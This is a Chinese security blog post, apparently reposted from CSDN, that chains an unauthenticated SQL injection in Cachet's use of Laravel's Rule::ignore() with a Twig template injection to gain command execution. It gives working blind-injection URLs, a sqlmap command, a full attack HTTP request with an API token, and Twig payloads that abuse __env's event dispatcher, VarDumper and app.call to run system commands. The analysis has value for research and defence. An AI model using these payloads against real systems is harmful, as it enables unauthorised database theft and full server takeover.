Laravel 存在SQL注入漏洞

Laravel 存在SQL注入漏洞

漏洞描述:

该漏洞存在于Laravel的表单验证功能,漏洞函数为ignore(),漏洞文件位于/vendor/laravel/ramework/src/Illuminate/Validation/Rules/Unique.php。有时候开发者希望在进行字段唯一性验证时忽略指定字段以及字段值,通常会调用Rule类的ignore方法。该方法有两个参数,第一个参数为字段值,第二个参数为字段名,当字段名为空时,默认字段名为“id”。如果用户可以控制ignore()方法的参数值,就会产生SQL注入漏洞。

默认情况下Cachet的任何报错都不会有详情,只会返回一个500错误。且Laravel不支持堆叠注入,那么要利用这个漏洞,就有两种方式:

通过UNION SELECT注入直接获取数据

通过BOOL盲注获取数据

UNION肯定是最理想的,但是这里无法使用,原因是用户的这个输入会经过两次字段数量不同的SQL语句,会导致其中至少有一个SQL语句在UNION SELECT的时候出错而退出。

Bool盲注没有任何问题,我本地是Postgres数据库,所以以其为例。

构造一个能够显示数据的请求:
http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+

将and 1=1修改为and 1=2,数据消失了:

http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=2)+--+

说明盲注可以利用,于是我选择使用SQLMap来利用漏洞。SQLMap默认情况下将整个参数替换成SQL注入的Payload,而这个注入点需要前缀和后缀,需要对参数进行修改。

我先使用一个能够爆出数据的URL,比如/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+,在这个括号后面增加个星号,然后作为-u目标进行检测即可:
python sqlmap.py -u "http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"

 注入点被SQLMap识别了。因为表结构已经知道,成功获取用户、密码:

后台代码审计

 

这个注入漏洞的优势是无需用户权限,但劣势是无法堆叠执行,原因我在星球的这篇帖子里有介绍过(虽然帖子里说的是ThinkPHP)。主要是在初始化PDO的时候设置了PDO::ATTR_EMULATE_PREPARES为false,而数据库默认的参数化查询不允许prepare多个SQL语句。

无法堆叠执行的结果就是没法执行UPDATE语句,我只能通过注入获取一些信息,想要进一步执行代码,还需要继续审计。

接下来的审计我主要是在看后台逻辑,挖掘后台漏洞建议是黑盒结合白盒,这样会更快,原因是后台可能有很多常见的敏感操作,比如文件上传、编辑等,这些操作有时候可能直接抓包一改就能测出漏洞,都不需要代码审计了。

Cachet的后台还算相对安全,没有文件操作的逻辑,唯一一个上传逻辑是“Banner Image”的修改,但并不存在漏洞。

这时候我关注到了一个功能,Incident Templates,用于在报告事故的时候简化详情填写的操作。这个功能支持解析Twig模板语言:

对于Twig模板的解析是在API请求中,用API创建或编辑Incident对象的时候会使用到Incident Templates,进而执行模板引擎。

利用时需要现在Web后台添加一个Incident Template,填写好Twig模板,记下名字。再发送下面这个数据包来执行名为“ssti”的模板,获得结果:
POST /api/v1/incidents HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
X-Cachet-Token: QLGMRm5N8bUjVxbdLF6m
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
visible=0&status=1&name=demo&template=ssti

其中X-Cachet-Token是注入时获取的用户的API Key。我添加了一个内容是{ { 233 * 233 }}的Incident Template,渲染结果被成功返回在API的结果中:

Twig是PHP的一个著名的模板引擎,相比于其他语言的模板引擎,它提供了更安全的沙盒模式。默认模式下模板引擎没有特殊限制,而沙盒模式下只能使用白名单内的tag和filter。

Cachet中没有使用沙盒模式,所以我不做深入研究。普通模式想要执行恶意代码,需要借助一些内置的tag、filter,或者上下文中的危险对象。在Twig v1.41、v2.10和v3后,增加了map和filter这两个filter,可以直接用来执行任意函数:

{ {["id"]|filter("system")|join(",")}}
{ {["id"]|map("system")|join(",")}}

但是Cachet v2.3.18中使用的是v1.40.1,刚好不存在这两个filter。那么旧版本如何来利用呢?

PortSwigger曾在2015年发表过一篇模板注入的文章《Server-Side Template Injection》,里面介绍过当时的Twig模板注入方法:

{ {_self.env.registerUndefinedFilterCallback("exec")}}{ {_self.env.getFilter("id")}}

_self是Twig中的一个默认的上下文对象,指代的是当前Template,其中的env属性是一个Twig_Environment对象。Twig_Environment类的registerUndefinedFilterCallback和getFilter就用来注册和执行回调函数,通过这两次调用,即可构造一个任意命令执行的利用链。

但是,这个执行命令的方法在Twig v1.20.0中被官方修复了:https://github.com/twigphp/Twig/blob/1.x/CHANGELOG#L430,修复方法是发现object是当前对象时,则不进行属性的获取,下面这个if语句根本不会进去:

// object property
if (self::METHOD_CALL !== $type && !$object instanceof self) { // Twig_Template does not have public properties, and we don't want to allow access to internal ones
    if (isset($object->$item) || array_key_exists((string) $item, $object)) {
        if ($isDefinedTest) {
            return true;
        }
 
        if ($this->env->hasExtension('sandbox')) {
            $this->env->getExtension('sandbox')->checkPropertyAllowed($object, $item);
        }
 
        return $object->$item;
    }
}

这个修改逻辑是科学的,因为Twig中正常只允许访问一个对象的public属性和方法,但因为_self指向的是$this,而$this可以访问父类的protected属性,所以才绕过了对作用域的限制,访问到了env。这个修复对此作了加强,让_self的表现和其他对象相同了。

另外,_self.getEnvironment()原本也可以访问env,这个修复也一起被干掉了。

Cachet使用rcrowe/twigbridge来将twig集成进Laravel框架,按照composer.lock中的版本号来肯定高于v1.20.0(实际是v1.40.1),也就是说,我也无法使用这个Payload做命令执行。

寻找Twig利用链与代码执行

Cachet中使用了下面这段代码来渲染Twig模板:

protected function parseIncidentTemplate($templateSlug, $vars)
{
    if ($vars === null) {
        $vars = [];
    }
 
    $this->twig->setLoader(new Twig_Loader_String());
    $template = IncidentTemplate::forSlug($templateSlug)->first();
 
    return $this->twig->render($template->template, $vars);
}

其中$vars是用户从POST中传入的一个数组,这意味着注入到模板中的变量只是简单的字符串数组,没有任何对象。再加上前文说到的_self对象也被限制了,我发现很难找到可以被利用的方法。

此时我关注到了rcrowe/twigbridge这个库。rcrowe/twigbridge用于在Laravel和Twig之间建立一个桥梁,让Laravel框架可以直接使用twig模板引擎。

根据Laravel的依赖注入、控制反转的设计模式,如果要实现“桥梁”的功能,那么就需要编写一个Service Provider,在Service Provider中对目标对象进行初始化,并放在容器中。

我在rcrowe/twigbridge的ServiceProvider中下了断点,捋了捋Twig初始化的过程,发现一个有趣的点:

baseTemplateClass不是默认的\Twig\Template,而是一个自定义的TwigBridge\Twig\Template。baseTemplateClass就是在模板中,_self指向的那个对象的基类,是一个很重要的类。

在src/Twig/Template.php中,我发现$context中有一个看起来很特殊的对象__env:
/**
 * {@inheritdoc}
 */
public function display(array $context, array $blocks = [])
{
    if (!isset($context['__env'])) {
        $context = $this->env->mergeShared($context);
    }
 
    if ($this->shouldFireEvents()) {
        $context = $this->fireEvents($context);
    }
 
    parent::display($context, $blocks);
}

在此处下断点可以看到,这个__env是一个\Illuminate\View\Factory对象,原来是Twig共享了Laravel原生View模板引擎中的全局变量。

那么,我们可以找找\Illuminate\View\Factory类中是否有危险属性和函数。\Illuminate\Events\Dispatcher是Factory类的属性,其中存在一对事件监听函数:

public function listen($events, $listener, $priority = 0)
{
    foreach ((array) $events as $event) {
        if (Str::contains($event, '*')) {
            $this->setupWildcardListen($event, $listener);
        } else {
            $this->listeners[$event][$priority][] = $this->makeListener($listener);
 
            unset($this->sorted[$event]);
        }
    }
}
 
public function fire($event, $payload = [], $halt = false)
{
    // ...
    
    foreach ($this->getListeners($event) as $listener) {
        $response = call_user_func_array($listener, $payload);

它的限制主要是,回调函数必须是一个可以被自动创建与初始化的类方法,比如静态方法。我很快我找到了一对合适的回调\Symfony\Component\VarDumper\VarDumper,我们可以先调用setHandler将$handler设置成任意函数,再调用dump来执行:

class VarDumper
{
    private static $handler;
 
    public static function dump($var)
    {
        // ...
        return call_user_func(self::$handler, $var);
    }
 
    public static function setHandler(callable $callable = null)
    {
        $prevHandler = self::$handler;
        self::$handler = $callable;
 
        return $prevHandler;
    }
}

构造出的模板代码如下,成功执行任意命令:

{ {__env.getDispatcher().listen('ssti1', '\\Symfony\\Component\\VarDumper\\VarDumper@setHandler')}}
{% set a = __env.getDispatcher().fire('ssti1', ['system']) %}
{ {__env.getDispatcher().listen('ssti2', '\\Symfony\\Component\\VarDumper\\VarDumper@dump')}}
{% set a = __env.getDispatcher().fire('ssti2', ['ping -n 1 127.0.0.1']) %}

除了__env外,上下文中还被注入了一个app变量,这是一个\Illuminate\Foundation\Application对象,它的利用链就更简单了,因为其中有一个函数可以直接用来执行任意代码:

public function call($callback, array $parameters = [], $defaultMethod = null)
{
    if ($this->isCallableWithAtSign($callback) || $defaultMethod) {
        return $this->callClass($callback, $parameters, $defaultMethod);
    }
 
    $dependencies = $this->getMethodDependencies($callback, $parameters);
 
    return call_user_func_array($callback, $dependencies);
}

所以,我构造了一个模板代码来执行任意PHP函数,这个方法相对简单很多:

{ { app.call('md5', ['123456']) }}

至此,我又搞定了后台代码执行。两个漏洞组合起来,就可以成功拿下Cachet系统权限。

Guess you like

Origin blog.csdn.net/qq_48985780/article/details/121094415
Recommended